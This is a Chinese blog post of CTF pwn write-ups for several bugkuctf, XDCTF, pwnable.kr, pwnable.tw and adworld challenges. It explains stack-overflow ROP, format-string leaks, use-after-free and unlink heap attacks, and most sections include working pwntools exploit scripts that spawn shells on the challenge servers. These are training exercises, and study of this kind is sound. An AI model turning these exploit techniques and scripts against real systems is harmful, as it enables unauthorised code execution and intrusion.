pwn write_up 合集

一、bugkuctf pwn4(栈,ROP,system($0))

图1很容易看出来read函数栈溢出

图1

紧接着就是题目给的调用system函数(图2)


图2

但是找到不/bin/sh字样,怎么办?程序是任何保护都没开的,打算找个jmp指令去执行


图3

但突然发现程序提供了$0字符串,那么system($0)等效于system("sh"),构造栈吧


图4

程序是64位的,参数不全是在栈中,依次为rdi,rsi,rdx,rcx,r8,r9,用ROPgadget找一个pop rdi,ret的地址,如图5


图5

最后的EXP:

from pwn import *

import sys

if sys.argv[1] == '1':

    p = remote("114.116.54.89",  10004)

else:

    p = process("./pwn4")

#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

context.log_level = "debug"

#gdb.attach(proc.pidof(p)[0])

elf = ELF("./pwn4")

system_addr = elf.symbols["system"]

print(hex(system_addr))

#pause()

payload = "a" * 16 + p64(0xdeadbeef) + p64(0x4007D3) + p64(0x60111f) + p64(elf.plt["system"])

p.sendline(payload)

p.interactive()


二、bugkuctf human(printf泄露,libc-database,ROP)

漏洞很好看出来printf用来泄露地址,read用来溢出

图1


图2

先计算printf用的偏移,当前栈空间如下图,64位加上6个寄存器,再从rsp到要泄露的地址为5个%p,又因为从下标0开始,所以6+5=11,11正好指向0x7FFF.....E4B8。

这是更正下,不是从下标为0开始。而是因为rdi不在6个寄存器的计算范围内。即从rsi为1开始。可以尝试输出“%x,%x”。会发现是从rsi开始输出的,而rdi不会显示。当然,认为rdi的序号为0,rsi的序号为1也可以得出正确结果。对了rdi指向格式化字符串。

图3

找到地址,用libc-database找到libc,再用one_gadget找出ROP

图4

最后满足下程序的恶趣味,不能让程序执行到exit(),要走retn流程

图5

最终EXP:

from pwn import *

import sys

if sys.argv[1] == "1":

    p = remote("114.116.54.89", 10005)

else:

    p = process("human")

    context.log_level = "debug"

    context.terminal = ["gnome-terminal", "-x", "sh", "-c"]

    gdb.attach(proc.pidof(p)[0], '''

        b *0x400810

        b *0x400879

        ''')

p.readline()

p.readline()

p.sendline("%11$p")

libc_main_ret_addr = p.recvline()

print libc_main_ret_addr

libc_main_ret_addr = int(libc_main_ret_addr, 16)

libc_base_addr = libc_main_ret_addr - 0x20830

print libc_base_addr

p.readline()

p.readline()

p.readline()

p.readline()

p.readline()

p.readline()

p.readline()

p.readline()

libc_gadget_shell_addr = libc_base_addr + 0x45216

payload =  "\xe7\x9c\x9f\xe9\xa6\x99\xe9\xb8\xbd\xe5\xad\x90" + "a" * 20 + p64(0xdeadbeaf) + p64(libc_gadget_shell_addr)

p.sendline(payload)

p.readline()

p.interactive()



三、pwn200(栈溢出泄露地址,ROP,平衡栈(让下条ret指令顺利执行))

栈溢出很容易找,但是这题没有给libc,也没有给system("sh")。安全措施及代码如图:

图1

栈溢出返回到start函数,用DynELF去泄露libc地址,查到libc库吧

payload = 'a'*112{填充}+p32(write_plt){这里ret}+p32(main_addr){这里相当于上一级的call,调用完write后会在这个地址ret}+p32(1){第一个参数,最后push,所以在栈最上面}+p32(addr)+p32(4)


图2

找到libc库后,找到system的地址,先调用read把bin/sh读到内存中去,构造ROP链路,去执行。因为read(arg1,arg2,arg3)有三个参数,所以需要pop,pop,pop,ret去把这三个参数占用的栈空间平衡掉,才能正常ret。用ROPgadget找出这个p,p,p,r

图3

payload = 'a'*112+p32(read_plt)+p32(0x804856c){read执行后返回的地址}+p32(0){从这里开始,为read的参数}+p32(bss_addr)+p32(8)+p32(sys_addr){0x804856c的ret执行到这里}+p32(main_addr)+p32(bss_addr){system的参数}

最终EXP:

from pwn import *

elf = ELF('./pwn200')

io = remote('111.198.29.45', 33201)

write_plt = elf.plt['write']

read_plt = elf.plt['read']

main_addr = 0x80483D0

bss_addr = elf.bss()

pppr = 0x0804856C

def leak(addr):

    io.recvuntil('Welcome to XDCTF2015~!\n')

    payload = 'a'*112+p32(write_plt)+p32(main_addr)+p32(1)+p32(addr)+p32(4)

    io.sendline(payload)

    msg = io.recv(4)

    return msg

dyn = DynELF(leak,elf=elf)

sys_addr = dyn.lookup('system','libc')

payload = 'a'*112+p32(read_plt)+p32(pppr)+p32(0)+p32(bss_addr)+p32(8)+p32(sys_addr)+p32(main_addr)+p32(bss_addr)

#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

#gdb.attach(proc.pidof(io)[0],'''

#    b *0x80484BC

#    ''')

pause()

io.sendline(payload)

pause()

io.sendline('/bin/sh\0')

io.interactive()



pwnable.kr UAF(fastbin重复申请特性,C++虚表)


图1

先new一个堆,再将这个堆通过mov rdi,rbx,传给woman的构造函数,看看这个堆里有什么。

图2

new(0x18)的这个堆保存着woman类的虚函数表,第一个就是human::give_shell。再看看堆的情况。

图3

可以看出因为new的大小为0x18,所以man和woman的堆在Free时,会满足16<size<64这第一个条件,而首选被放入Fastbin中。Fastbin是个FIFO链表,所以,再一次申请同样大小的堆时,就能申请到woman和man释放的堆,进而通过UAF控制虚函数表。

最后在1.use时,执行如下代码:


图4

通过分析得知,[rbp+var_38]=new返回的堆地址,[rax]=虚表地址(即前面的0x401550),所以call是执行 call [0x401550+8]命令,最简单的办法是申请一个堆,再传入0x401550-0x8这个值。在执行call [(0x401550-8) +8]时,就执行了give_shell。最终exp如下:

from pwn import *

from sys import *

vtable_addr = 0x401548

f = open("./1.bin", "wb")

f.write(p64(vtable_addr))

f.close()



pwnable.kr unlink(堆溢出,指针的指针,指向fd->bk的指针,EXP的构造(内存空间排布))

画图能力有限,这个现在也还在绕着。一不小心就指错了,一不小心内存就给破坏了。

讲真,不是那些注释一步步写下来,估计这辈子都写不正确。反正,现在unlink也被修复,开心最重要了。

先放EXP:

from pwn import *

from sys import argv

#printf("here is stack address leak: %p\n", &A);

#printf("here is heap address leak: %p\n", A);

#printf("now that you have leaks, get shell!\n");

context.log_level = "debug"

if argv[1] == "1":

    p = process("./unlink")

else:

    s =  ssh(host='pwnable.kr',

        port=2222,

        user='unlink',

        password='guest'

        )

    p = s.process("./unlink")

stack_addr_A = p.recvuntil("here is stack address leak: ")

stack_addr_A = p.recv(10)

stack_addr_A = int(stack_addr_A, 16)

print stack_addr_A

heap_addr_A = p.recvuntil("here is heap address leak: ")

heap_addr_A = p.recv(9)

heap_addr_A = int(heap_addr_A, 16)

print heap_addr_A

p.recvuntil("now that you have leaks, get shell!")

shell_addr = 0x080484EB

#payload offset heap+8

payload = p32(shell_addr)

payload += "a" * 12

#FD->bk = BK

#mov [eax+4], heap_addr_A + 12

#payload offset FD

payload += p32(stack_addr_A + 12)

#mov esp, [ecx-4]

#mov esp,[heap_addr_A + 12 - 4]

#payload offset BK

payload += p32(heap_addr_A + 12)

p.send(payload)

p.interactive()


pwnable.tw hack_note(UAF,FASTBIN申请特性)

fastbin有以下特点:

1、为LIFO单向链表;2、有多个链,每个链中chunk大小一致,相邻链表以8byte递增;3、32位下16~64byte大小的堆都被放在fastbin中

hack_note提供add、del、print三个操作。ADD:以一个数组保存add_note后申请的地址。DEL:但是在del里,没有对这个数组中的值置空,造成UAF。PRINT:程序中数组指向的是一个数据结构:

struct{ func* p; char[] ch},其中p指向一个调用puts函数的函数。

结构如下:


图1

先看开启了哪些防护:


图2

没有PIE,但是开了Canary。就很明显是上面发现的堆漏洞去利用。

利用思路就是fastbin的分配特性。因为程序自动申请的结构struct{ func* p; char[] ch},大小为chunk_header(4*2) + 4*2 = 16,那用户内容申请到32位,并且申请两次,再做两次del后,就能让fastbin有两条链表,一条是16大小的有两个堆,一条是32大小的有两个堆。这时,再次做add操作,并设置用户内容申请大小为16byte(这里要注意,为了申请16byte的堆,用户内容长度应为8byte),那就能利用第一次free后的16大小那个堆,进而可以控制pfunc*这个指针。再结合UAF调用print时,将调用被修改后的指针。

具体是先用puts泄露出puts.got的地址,得到libc的基址,再用one_gadget得到libc中的偏移,最后print一下,得到shell。


adworld.xctf welpwn(栈溢出,地址泄露,ehco函数截断输入的rop处理,LibcSearcher)

1.先看开启的防护

welpwn

没有重定向,没有栈溢出保护,GOT可写。

2.看代码(坑一:echo的截断)

echo:

明显的栈溢出,但是会被字符串中的\x00截断,又因为64位的返回地址,前端一定为\x00。所以这里不能做为存放ROP链的地方。只有返回到main中的read函数中,没有这被截断的输入。

红框为echo的输入,蓝框为main的输入,黄框是echo的返回地址,这里会因为地址有\x00而截断,所以echo只能在这里放上一个pop|pop|pop|pop|ret的ROP,在0x7ffffffe0d0这里放上ret的地址,继续下一个rop。

3.exp代码(坑二:无法利用dynelf自动获取,最终转为LibcSearcher)

#coding = utf-8

from pwnimport *

import LibcSearcher

context.log_level ='debug'

p = remote('111.198.29.45' ,46133)

rop_chain =0x4008A3

welpwn_elf = ELF('./welpwn')

puts_plt = welpwn_elf.plt['puts']

puts_got = welpwn_elf.got['puts']

main_addr = welpwn_elf.symbols['main']

log.info("puts_got = " +hex(puts_got))

#return to the stack of main:read

#because echo read untill \x00

#so read until \x9c\x08\x40\x00\x00\x00....

padding ='A' *24 + p64(0x40089c)

bss_addr =0x601070

p.recvuntil("RCTF\n")

# def leak(addr):

#    payload = padding + p64(rop_chain) + p64(addr) + p64(puts_plt) + p64(main_addr)

#    p.sendline(payload)

#    #recv 27 to get printf out data. After 27 is \x00

#    p.recv(27)

#    #recv all because unsure recv how much bytes

#    tmp = p.recv()

#    date = tmp.split("\nWelcome")[0]

#    if len(date):

#        return date

#    else:

#        return '\x00'

#

# d = DynELF(leak, elf=ELF('./welpwn'))

#puts address leak

payload = padding + p64(rop_chain) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendline(payload)

p.recvuntil("RCTF\n")

p.recv(27)

put_addr_libc = u64(p.recv().split("\n")[0].ljust(8,'\x00'))

log.info("put_addr_libc = " +hex(put_addr_libc))

#find Libc , system  , bin/sh address with LibcSearcher or libc_database

libc_obj = LibcSearcher.LibcSearcher('puts', put_addr_libc)

libc_base_addr = put_addr_libc - libc_obj.dump('puts')

system_addr = libc_base_addr + libc_obj.dump("system")

str_bin_sh = libc_base_addr + libc_obj.dump('str_bin_sh')

log.info("system_addr = " +hex(system_addr))

log.info("str_bin_sh = " +hex(str_bin_sh))

#pwn now

payload = padding + p64(rop_chain) + p64(str_bin_sh) + p64(system_addr)

# don't recv .can't recv any thing

# p.recvuntil("RCTF\n")

p.sendline(payload)

#sleep(1)

#p.sendline('/bin/sh\x00')

p.interactive()

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,937评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,503评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,712评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,668评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,677评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,601评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,975评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,637评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,881评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,621评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,710评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,387评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,971评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,947评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,189评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,805评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,449评论 2 342

推荐阅读更多精彩内容